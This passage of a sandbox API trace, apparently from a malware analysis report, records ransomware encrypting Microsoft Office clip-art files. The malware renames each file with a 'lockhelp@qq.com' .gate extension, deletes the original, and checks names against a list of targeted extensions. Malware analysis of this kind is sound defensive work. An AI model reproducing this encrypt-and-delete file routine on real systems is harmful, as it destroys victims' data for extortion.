hTemplateFile=0x0) returned 0x394 [0281.929] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2344) returned 1 [0281.929] CloseHandle (hObject=0x394) returned 1 [0281.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0281.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0281.930] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.930] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0281.931] GetLastError () returned 0x0 [0281.931] ReadFile (in: hFile=0x394, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x928, lpOverlapped=0x0) returned 1 [0282.007] WriteFile (in: hFile=0x3dc, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x930, lpOverlapped=0x0) returned 1 [0282.008] ReadFile (in: hFile=0x394, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.008] WriteFile (in: hFile=0x3dc, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.008] SetEndOfFile (hFile=0x3dc) returned 1 [0282.008] CloseHandle (hObject=0x3dc) returned 1 [0282.009] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.009] SetEndOfFile (hFile=0x394) returned 1 [0282.012] CloseHandle (hObject=0x394) returned 1 [0282.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0282.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.013] lstrlenW (lpString=".doc") returned 4 [0282.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.013] lstrlenW (lpString=".docx") returned 5 [0282.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.013] lstrlenW (lpString=".pdf") returned 4 [0282.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.013] lstrlenW (lpString=".xls") returned 4 [0282.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.013] lstrlenW (lpString=".xlsx") returned 5 [0282.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.013] lstrlenW (lpString=".ppt") returned 4 [0282.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.013] lstrlenW (lpString=".zip") returned 4 [0282.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.014] lstrlenW (lpString=".rar") returned 4 [0282.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.014] lstrlenW (lpString=".bz2") returned 4 [0282.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.014] lstrlenW (lpString=".7z") returned 3 [0282.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.014] lstrlenW (lpString=".dbf") returned 4 [0282.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.014] lstrlenW (lpString=".1cd") returned 4 [0282.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.014] lstrlenW (lpString=".jpg") returned 4 [0282.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.014] lstrlenW (lpString=".doc") returned 4 [0282.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.014] lstrlenW (lpString=".docx") returned 5 [0282.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.014] lstrlenW (lpString=".pdf") returned 4 [0282.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.015] lstrlenW (lpString=".xls") returned 4 [0282.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.015] lstrlenW (lpString=".xlsx") returned 5 [0282.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.015] lstrlenW (lpString=".ppt") returned 4 [0282.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.015] lstrlenW (lpString=".zip") returned 4 [0282.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.015] lstrlenW (lpString=".rar") returned 4 [0282.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.015] lstrlenW (lpString=".bz2") returned 4 [0282.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.015] lstrlenW (lpString=".7z") returned 3 [0282.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.015] lstrlenW (lpString=".dbf") returned 4 [0282.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.015] lstrlenW (lpString=".1cd") returned 4 [0282.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0282.016] lstrlenW (lpString=".jpg") returned 4 [0282.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.016] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.016] lstrlenW (lpString="AN04195_.WMF") returned 12 [0282.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0282.016] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4612) returned 1 [0282.016] CloseHandle (hObject=0x394) returned 1 [0282.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0282.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0282.017] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.017] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0282.018] GetLastError () returned 0x0 [0282.018] ReadFile (in: hFile=0x394, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1204, lpOverlapped=0x0) returned 1 [0282.134] WriteFile (in: hFile=0x3dc, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1210, lpOverlapped=0x0) returned 1 [0282.135] ReadFile (in: hFile=0x394, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.135] WriteFile (in: hFile=0x3dc, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.135] SetEndOfFile (hFile=0x3dc) returned 1 [0282.135] CloseHandle (hObject=0x3dc) returned 1 [0282.136] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.136] SetEndOfFile (hFile=0x394) returned 1 [0282.141] CloseHandle (hObject=0x394) returned 1 [0282.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0282.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.147] lstrlenW (lpString=".doc") returned 4 [0282.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.147] lstrlenW (lpString=".docx") returned 5 [0282.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.147] lstrlenW (lpString=".pdf") returned 4 [0282.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.148] lstrlenW (lpString=".xls") returned 4 [0282.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.148] lstrlenW (lpString=".xlsx") returned 5 [0282.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.148] lstrlenW (lpString=".ppt") returned 4 [0282.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.148] lstrlenW (lpString=".zip") returned 4 [0282.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.148] lstrlenW (lpString=".rar") returned 4 [0282.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.148] lstrlenW (lpString=".bz2") returned 4 [0282.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.148] lstrlenW (lpString=".7z") returned 3 [0282.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.148] lstrlenW (lpString=".dbf") returned 4 [0282.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.148] lstrlenW (lpString=".1cd") returned 4 [0282.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.148] lstrlenW (lpString=".jpg") returned 4 [0282.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.149] lstrlenW (lpString=".doc") returned 4 [0282.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.149] lstrlenW (lpString=".docx") returned 5 [0282.149] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.149] lstrlenW (lpString=".pdf") returned 4 [0282.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.149] lstrlenW (lpString=".xls") returned 4 [0282.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.149] lstrlenW (lpString=".xlsx") returned 5 [0282.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.149] lstrlenW (lpString=".ppt") returned 4 [0282.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.149] lstrlenW (lpString=".zip") returned 4 [0282.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.149] lstrlenW (lpString=".rar") returned 4 [0282.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.149] lstrlenW (lpString=".bz2") returned 4 [0282.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.149] lstrlenW (lpString=".7z") returned 3 [0282.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.149] lstrlenW (lpString=".dbf") returned 4 [0282.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.150] lstrlenW (lpString=".1cd") returned 4 [0282.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0282.150] lstrlenW (lpString=".jpg") returned 4 [0282.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.150] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.150] lstrlenW (lpString="AN04267_.WMF") returned 12 [0282.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.239] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=7804) returned 1 [0282.239] CloseHandle (hObject=0x4a4) returned 1 [0282.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0282.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.240] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.240] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0282.240] GetLastError () returned 0x0 [0282.240] ReadFile (in: hFile=0x4a4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0282.429] WriteFile (in: hFile=0x4b0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1e80, lpOverlapped=0x0) returned 1 [0282.429] ReadFile (in: hFile=0x4a4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.430] WriteFile (in: hFile=0x4b0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.430] SetEndOfFile (hFile=0x4b0) returned 1 [0282.430] CloseHandle (hObject=0x4b0) returned 1 [0282.433] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.433] SetEndOfFile (hFile=0x4a4) returned 1 [0282.436] CloseHandle (hObject=0x4a4) returned 1 [0282.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0282.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.439] lstrlenW (lpString=".doc") returned 4 [0282.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.440] lstrlenW (lpString=".docx") returned 5 [0282.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.440] lstrlenW (lpString=".pdf") returned 4 [0282.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.440] lstrlenW (lpString=".xls") returned 4 [0282.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.440] lstrlenW (lpString=".xlsx") returned 5 [0282.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.440] lstrlenW (lpString=".ppt") returned 4 [0282.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.440] lstrlenW (lpString=".zip") returned 4 [0282.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.440] lstrlenW (lpString=".rar") returned 4 [0282.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.440] lstrlenW (lpString=".bz2") returned 4 [0282.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.440] lstrlenW (lpString=".7z") returned 3 [0282.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.440] lstrlenW (lpString=".dbf") returned 4 [0282.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.440] lstrlenW (lpString=".1cd") returned 4 [0282.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.440] lstrlenW (lpString=".jpg") returned 4 [0282.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.440] lstrlenW (lpString=".doc") returned 4 [0282.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.441] lstrlenW (lpString=".docx") returned 5 [0282.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.441] lstrlenW (lpString=".pdf") returned 4 [0282.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.441] lstrlenW (lpString=".xls") returned 4 [0282.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.441] lstrlenW (lpString=".xlsx") returned 5 [0282.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.441] lstrlenW (lpString=".ppt") returned 4 [0282.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.441] lstrlenW (lpString=".zip") returned 4 [0282.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.441] lstrlenW (lpString=".rar") returned 4 [0282.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.441] lstrlenW (lpString=".bz2") returned 4 [0282.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.441] lstrlenW (lpString=".7z") returned 3 [0282.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.441] lstrlenW (lpString=".dbf") returned 4 [0282.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.441] lstrlenW (lpString=".1cd") returned 4 [0282.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0282.441] lstrlenW (lpString=".jpg") returned 4 [0282.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.441] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.441] lstrlenW (lpString="AN04384_.WMF") returned 12 [0282.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.442] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4996) returned 1 [0282.442] CloseHandle (hObject=0x4a4) returned 1 [0282.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 